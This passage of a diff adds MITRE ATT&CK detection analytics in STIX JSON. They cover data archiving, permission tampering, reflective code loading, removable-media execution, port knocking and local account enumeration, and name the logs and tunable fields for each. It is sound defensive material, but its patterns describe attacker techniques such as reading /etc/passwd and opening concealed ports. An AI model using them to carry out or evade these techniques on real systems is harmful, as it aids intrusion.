with archive creation." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18cf5cf7-f46b-4258-a0aa-503881c9c88e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0298#AN0833", + "external_id": "AN0833" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0833", + "description": "Detects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedArchivers", + "description": "Business-approved applications permitted to create archives (e.g., backup agents)." + }, + { + "field": "UserContext", + "description": "Flag archiving under privileged or service accounts as higher risk." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Entropy threshold for detecting encrypted archives versus normal compression." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0669b8b5-8888-45aa-acf8-819dfb7d00a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0299#AN0834", + "external_id": "AN0834" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0834", + "description": "Sequential behavioral chain of privilege escalation through permission modification: (1) Process creation of permission-modifying utilities (icacls, takeown, attrib, cacls), (2) Correlation with unusual user context or timing, (3) DACL modification events targeting sensitive files/directories, (4) Subsequent file access or modification attempts indicating successful privilege bypass", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Temporal correlation window for linking permission modification with subsequent access attempts (default: 300 seconds)" + }, + { + "field": "SensitivePathList", + "description": "Environment-specific critical file and directory paths requiring permission change monitoring" + }, + { + "field": "TrustedUserContext", + "description": "Administrative accounts authorized to perform legitimate permission modifications" + }, + { + "field": "BusinessHoursThreshold", + "description": "Time-based threshold for elevated alerting on permission changes outside business hours" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e268a6cb-2264-473e-9683-fb0f33ecd793", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0299#AN0835", + "external_id": "AN0835" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0835", + "description": "Behavioral sequence of unauthorized privilege escalation via permission modification: (1) chmod/chown/setfacl process execution with suspicious parameters, (2) Targeting of critical system files or unusual permission values, (3) Correlation with non-privileged user context or unusual timing patterns, (4) Follow-on file access indicating successful permission bypass", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousPermissionValues", + "description": "Octal permission values that indicate potential malicious intent (default: 777, 755, 4755)" + }, + { + "field": "CriticalPathPatterns", + "description": "Linux filesystem paths requiring enhanced monitoring (/etc/, /usr/bin/, /home/)" + }, + { + "field": "AuthorizedAdminUsers", + "description": "User accounts permitted to perform system-level permission modifications" + }, + { + "field": "AnomalyThreshold", + "description": "Statistical threshold for detecting unusual permission modification frequency" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e564e2b8-542b-4003-a8b7-df9d3396f5b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0299#AN0836", + "external_id": "AN0836" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0836", + "description": "macOS-specific permission modification behavioral chain: (1) chmod/chown/chflags process execution, (2) System Integrity Protection (SIP) bypass attempts, (3) Extended attribute (xattr) modifications, (4) Unified log correlation with file system events, (5) Subsequent access to previously restricted resources", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "fs:fsevents", + "channel": "file system events indicating permission or attribute changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SIPProtectedPaths", + "description": "macOS system paths protected by SIP that should never have permission modifications" + }, + { + "field": "SuspiciousFlagCombinations", + "description": "chflags parameter combinations indicating evasive behavior (uchg, schg, hidden)" + }, + { + "field": "XattrMonitoringScope", + "description": "Extended attributes to monitor for unauthorized modifications" + }, + { + "field": "UnifiedLogRetention", + "description": "Log retention period for correlating permission changes with subsequent access" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13a1653f-3d4e-4a4f-9619-f8e8a97ec60d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0299#AN0837", + "external_id": "AN0837" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0837", + "description": "ESXi hypervisor permission modification behavioral chain: (1) SSH access to ESXi host, (2) chmod/chown execution on VMFS datastore files or system configuration, (3) Modification of VM configuration files (.vmx) or virtual disk permissions, (4) Hostd service log correlation, (5) vCenter permission change events if centrally managed", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "shell command execution for chmod, chown, or file permission modification on VMFS or system files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "esxi:hostd", + "channel": "host daemon events related to file or VM permission changes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "esxi:vpxd", + "channel": "permission change operations on datastores or VMs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedSSHUsers", + "description": "ESXi user accounts authorized for shell access and file system operations" + }, + { + "field": "CriticalVMFSPaths", + "description": "VMFS datastore paths requiring permission change monitoring" + }, + { + "field": "ShellAccessTimeWindow", + "description": "Time correlation window for linking SSH access with permission modifications" + }, + { + "field": "vCenterIntegrationScope", + "description": "Scope of vCenter audit event correlation with ESXi host activities" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2432f5a3-ddae-4138-9981-f916ad23a1e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0300#AN0838", + "external_id": "AN0838" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0838", + "description": "Detect anomalous chains of memory allocation and execution inside the same process (e.g., VirtualAlloc \u2192 memcpy \u2192 VirtualProtect \u2192 CreateThread). Unlike process injection, reflective code loading does not perform cross-process memory writes \u2014 the suspicious activity occurs entirely within the process\u2019s own PID context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-DotNETRuntime", + "channel": "AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "etw:Microsoft-Antimalware-Scan-Interface", + "channel": "Amsi/Script content + API verdicts during in-memory staging" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessWhitelist", + "description": "Certain processes may legitimately use Assembly.Load(); defenders may whitelist known developer/admin tools." + }, + { + "field": "MemoryRegionPermissions", + "description": "Detection logic can tune for RWX memory allocations; some legitimate tools may allocate with RW permissions only." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cfdd2422-7e68-417a-9298-062bac59df0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0300#AN0839", + "external_id": "AN0839" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0839", + "description": "Monitor for in-process mmap + mprotect + execve/execveat activity where memory permissions are changed from writable to executable inside the same process without a corresponding ELF on disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:MMAP", + "channel": "memory region with RWX permissions allocated" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessNameScope", + "description": "Uncommon for service binaries to call memfd_create; detection tuned for high-risk processes." + }, + { + "field": "RWXMemoryThreshold", + "description": "Adjust threshold for allowed RWX allocations to reduce false positives in JIT runtimes." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da7cf744-fc04-4b17-8a96-3140a4b349d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0300#AN0840", + "external_id": "AN0840" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0840", + "description": "Suspicious calls to dlopen(), dlsym(), or mmap with RWX flags in processes that do not typically perform dynamic module loading. Monitor anonymous memory regions executed by user processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execve or dylib load from memory without backing file" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "suspicious dlopen/dlsym usage in non-development processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationScope", + "description": "Developer tools may legitimately call dlopen/dlsym; narrow scope to production workloads." + }, + { + "field": "ExecutionTimeWindow", + "description": "Correlate suspicious loads with subsequent process activity in a defined window." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--12c748a0-3ce9-4fd2-8a65-f4362b69cafd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0301#AN0841", + "external_id": "AN0841" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0841", + "description": "Execution of files originating from removable media after drive mount, with correlation to file write activity, autorun usage, or lateral spread via staged tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:Microsoft-Windows-Partition/Diagnostic", + "channel": "EventCode=1006" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Suspicious file execution on removable media path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DriveLetterMatch", + "description": "Detect activity on mounted drives typically used by USB (e.g., E:, F:, G:). Tune based on enterprise usage." + }, + { + "field": "FileExecutionWindow", + "description": "Set timing threshold for execution shortly after drive mount (e.g., < 5 minutes)." + }, + { + "field": "ParentProcess", + "description": "Restrict detection to suspicious process lineage like explorer.exe, powershell.exe, or unsigned binaries." + }, + { + "field": "FileEntropy", + "description": "Use entropy thresholding to detect packed/obfuscated payloads dropped to removable media." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--22ff1717-6ba8-4908-b795-edf0c41a997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0302#AN0842", + "external_id": "AN0842" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0842", + "description": "A remote source rapidly touches a short sequence of closed ports (SYN\u2192RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "EventCode=2004,2005,2006" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Seconds to correlate knock sequence \u2192 rule change \u2192 successful connect (60\u2013300s typical)." + }, + { + "field": "MinSequenceLen", + "description": "Minimum number of distinct destination ports in the sequence (\u22653 by default)." + }, + { + "field": "RuleChangeAllowList", + "description": "Accounts/processes allowed to adjust Windows Firewall (e.g., update agents)." + }, + { + "field": "WatchedPorts", + "description": "Ports of interest to flag when opened (e.g., 22,23,2323,8022,3389,8080)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7bf8954f-5028-419d-b93f-9c6bfe6e5086", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0302#AN0843", + "external_id": "AN0843" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0843", + "description": "A source performs a short closed-port sequence; the host then modifies iptables/nftables/ufw rules or starts a daemon binding a new socket, followed by a successful connection from the same source.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw)." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "socket/bind: New bind() to a previously closed port shortly after the sequence." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Knock pattern: repeated REJ/S0 across \u2265MinSequenceLen ports from same src_ip then SF success." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePort", + "description": "Candidate port expected to open after knock (e.g., 22/2323)." + }, + { + "field": "KnockTolerance", + "description": "Max seconds between hits inside the sequence." + }, + { + "field": "MgmtAllowList", + "description": "Automation allowed to change firewall/daemon state (config mgmt, orchestration)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--39da0718-fa22-4f77-8bd2-ea8300087658", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0302#AN0844", + "external_id": "AN0844" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0844", + "description": "A source performs a closed-port sequence; the endpoint enables a PF/socketfilterfw rule or a background process binds a port; then a successful connection completes from the same source.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "Firewall/PF anchor load or rule change events." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Sequence of REJ/S0 then SF success from same src_ip within TimeWindow." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PFAnchorPaths", + "description": "Anchors/confs to monitor (/etc/pf.conf, /etc/pf.anchors/*)." + }, + { + "field": "DevMode", + "description": "Suppress expected PF testing on developer devices." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fe82e2a6-a928-4fe0-a899-fead90eabb29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0302#AN0845", + "external_id": "AN0845" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0845", + "description": "Router/switch receives a knock pattern (same src touches device unicast, broadcast, and network-address on same or stepped ports) followed by ACL/line-vty/service enable and the first mgmt session success.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "networkdevice:syslog", + "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtPortSet", + "description": "Mgmt ports to focus on: 22,23,2323,80,443,161,4786." + }, + { + "field": "DeviceRole", + "description": "Tighten thresholds on edge/internet-facing devices." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6ffbdad6-3d60-452b-9e04-a8292d0125e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0303#AN0846", + "external_id": "AN0846" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0846", + "description": "Adversary enumeration of local user accounts using Net.exe, WMI, or PowerShell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Detects variations of 'net user', 'net localgroup', 'Get-LocalUser'." + }, + { + "field": "UserContext", + "description": "Restrict monitoring to low-privileged or unexpected users executing enumeration." + }, + { + "field": "TimeWindow", + "description": "Tune for bursts of enumeration commands in short succession." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b87b63c-0936-48b5-8017-47bf5561e6f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0303#AN0847", + "external_id": "AN0847" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0847", + "description": "Enumeration of local users or groups via file access (/etc/passwd) or commands like id, groups.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": 